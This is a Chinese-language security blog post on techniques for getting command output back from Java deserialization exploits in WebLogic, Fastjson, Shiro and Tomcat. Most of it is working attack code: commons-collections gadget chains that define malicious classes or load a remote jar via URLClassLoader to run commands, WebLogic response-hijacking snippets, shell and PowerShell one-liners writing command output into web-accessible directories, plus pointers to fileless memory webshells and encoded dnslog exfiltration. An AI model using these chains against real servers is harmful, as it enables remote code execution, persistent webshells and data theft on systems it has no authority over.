Java 反序列化回显的多种姿势

2020-05-16 java 反序列化

Share on:

聊一聊反序列化回显的问题

写在文前

在研究weblogic、fastjson、shiro反序列化漏洞时，多次遇到了回显问题，本文将从以下几种角度出发来分别探讨反序列化回显的问题，也感谢各位师傅们的反序列化回显研究。

defineClass
RMI绑定实例
URLClassLoader抛出异常
中间件
写文件css、js
dnslog

defineClass

先说defineClass这个东西是因为下面的几种方式都是在其基础上进行改进。defineClass归属于ClassLoader类，其主要作用就是使用编译好的字节码就可以定义一个类。

形如

 1package com.test.ClassLoader;
 2
 3import java.lang.reflect.Method;
 4
 5public class MyClassLoader extends ClassLoader {
 6    private static String myClassName = "com.test.ClassLoader.HelloWorld";
 7    private static byte[] bs = new byte[]{
 8        -54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21,
 9    };
10
11    public static void main(String[] args) {
12        try {
13            MyClassLoader loader = new MyClassLoader();
14            Class helloClass = loader.loadClass(myClassName);
15            Object obj = helloClass.newInstance();
16            Method method = obj.getClass().getMethod("test");
17            method.invoke(null);
18        } catch (Exception e) {
19            e.printStackTrace();
20        }
21    }
22
23    @Override
24    protected Class<?> findClass(String name) throws ClassNotFoundException {
25        if (name == myClassName) {
26            System.out.println("加载" + name + "类");
27            return defineClass(myClassName, bs, 0, bs.length);
28        }
29        return super.findClass(name);
30    }
31
32}

RMI绑定实例

之前写过一篇《Weblogic使用ClassLoader和RMI来回显命令执行结果》，其中提到了使用commons-collection反射调用defineClass，通过defineClass定义的恶意命令执行字节码来绑定RMI实例，接着通过RMI调用绑定的实例拿到回显结果。其中最关键的代码就下面几行

 1// common-collection1 构造transformers 定义自己的RMI接口
 2Transformer[] transformers = new Transformer[] {
 3        new ConstantTransformer(DefiningClassLoader.class),
 4        new InvokerTransformer("getDeclaredConstructor",
 5            new Class[] { Class[].class }, new Object[] { new Class[0] }),
 6        new InvokerTransformer("newInstance",
 7            new Class[] { Object[].class },
 8            new Object[] { new Object[0] }),
 9        new InvokerTransformer("defineClass",
10            new Class[] { String.class, byte[].class },
11            new Object[] { className, classBytes }),
12        new InvokerTransformer("getMethod",
13            new Class[] { String.class, Class[].class },
14            new Object[] { "main", new Class[] { String[].class } }),
15        new InvokerTransformer("invoke",
16            new Class[] { Object.class, Object[].class },
17            new Object[] { null, new Object[] { null } }),
18        new ConstantTransformer(new HashSet())
19};

使用cc链进行反射调用，其中className为恶意命令执行类，形如com.test.payload.RemoteImpl，继承自Remote接口的实现，classBytes为该类字节码数组，将该类对象绑定在rmi://127.0.0.1:1099/Hello实例上，进而通过JNDI调用Hello即可。

URLClassLoader抛出异常

通过将回显结果封装到异常信息抛出拿到回显。

首先写一下执行命令的类

 1import java.io.*;
 2import java.nio.charset.Charset;
 3
 4public class ProcessExec {
 5    public ProcessExec(String cmd) throws Exception {
 6        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
 7        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
 8        BufferedReader bufferedReader = new BufferedReader(streamReader);
 9        StringBuffer buffer = new StringBuffer();
10        String line = null;
11
12        while((line = bufferedReader.readLine()) != null) {
13            buffer.append(line).append("\n");
14        }
15
16        throw new Exception(buffer.toString());
17    }
18}

打jar包

1javac ProcessExec.java
2jar -cvf p.jar ProcessExec.class

使用URLClassLoader加载jar获得回显

 1package payload;
 2
 3import java.lang.reflect.Constructor;
 4import java.net.URL;
 5import java.net.URLClassLoader;
 6
 7public class URLClassloader {
 8    public static void main(String[] args) throws Exception {
 9        URL url = new URL("http://127.0.0.1/p.jar");
10        URL[] urls = {url};
11        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
12        Constructor<?> processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class);
13        processExec.newInstance("ipconfig");
14
15    }
16}

使用URLClassLoader的部份可以通过cc链反射去做

 1package payload;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7import org.apache.commons.collections.keyvalue.TiedMapEntry;
 8import org.apache.commons.collections.map.LazyMap;
 9
10import javax.management.BadAttributeValueExpException;
11import java.io.FileInputStream;
12import java.io.FileOutputStream;
13import java.io.ObjectInputStream;
14import java.io.ObjectOutputStream;
15import java.lang.reflect.Field;
16import java.net.URL;
17import java.net.URLClassLoader;
18import java.util.HashMap;
19import java.util.Map;
20
21class CommonsCollections5URLClassLoader {
22    public static void main(String[] args) throws Exception {
23        Transformer[] transformers = new Transformer[]{
24                new ConstantTransformer(URLClassLoader.class),
25                // 获取构造方法
26                new InvokerTransformer("getConstructor",
27                        new Class[]{Class[].class},
28                        new Object[]{new Class[]{java.net.URL[].class}}),
29                // new实例并赋值url
30                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1/p.jar")}}}),
31                // loadClass加载ProcessExec
32                new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
33                // 获取ProcessExec的构造方法
34                new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
35                // 实例化ProcessExec
36                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})
37
38        };
39        Transformer chain = new ChainedTransformer(transformers);
40        Map map = new HashMap();
41        Map lazyMap = LazyMap.decorate(map, chain);
42        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
43        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
44        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
45        field.setAccessible(true);
46        field.set(badAttributeValueExpException, entry);
47
48        serialize(badAttributeValueExpException);
49        deserialize();
50    }
51
52    public static void serialize(Object obj) {
53        try {
54            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
55            os.writeObject(obj);
56            os.close();
57        } catch (Exception e) {
58            e.printStackTrace();
59        }
60    }
61
62    public static void deserialize() {
63        try {
64            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
65            is.readObject();
66        } catch (Exception e) {
67            e.printStackTrace();
68        }
69    }
70}

这个例子大多出现在jboss和fastjson中，灵活使用。

中间件回显

中间件而言多数重写了thread类，在thread中保存了req和resp，可以通过获取当前线程，在resp中写入回显结果

这种方法前几天在先知上有很多针对tomcat无回显的文章，为各位师傅的文章画一下时间线：

《基于内存 Webshell 的无文件攻击技术研究》主要应用于Spring
《linux下java反序列化通杀回显方法的低配版实现》将回显结果写入文件操作符
《Tomcat中一种半通用回显方法》将执行命令的结果存入tomcat的response返回 shiro无法回显
《基于tomcat的内存 Webshell 无文件攻击技术》动态注册filter实现回显 shiro无法回显
《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》通过Thread.currentThread.getContextClassLoader() 拿到request、response回显 tomcat7中获取不到StandardContext
《tomcat不出网回显连续剧第六集》直接从Register拿到process对应的req

不再赘述了，具体实现文章都有了。值得一提的思路可能就是反序列化不仅仅可以回显，也可以配合反射和字节码动态注册servlet实现无内存webshell。

在weblogic中也有resp回显，具体代码在《weblogic_2019_2725poc与回显构造》 lufei师傅已经给出来了

weblogic10.3.6

1String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
2weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
3weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
4outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
5outputStream.flush();
6response.getWriter().write("");

weblogic12.1.3

1java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
2field.setAccessible(true);
3HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
4httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

写文件

通过搜索特殊文件路径直接写入web可访问的目录，要熟悉常用中间件容器的目录结构，比如在我web目录有一个特殊的test.html

linux用bash

1// 进入test.html的根目录并执行id命令写入1.txt
2cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt

windows的powershell

1$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f

dnslog

这个就不提了，技巧的话就是用powershell或者base64命令编码一下，避免特殊字符，还有就是挑小众的dnslog平台。

参考

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。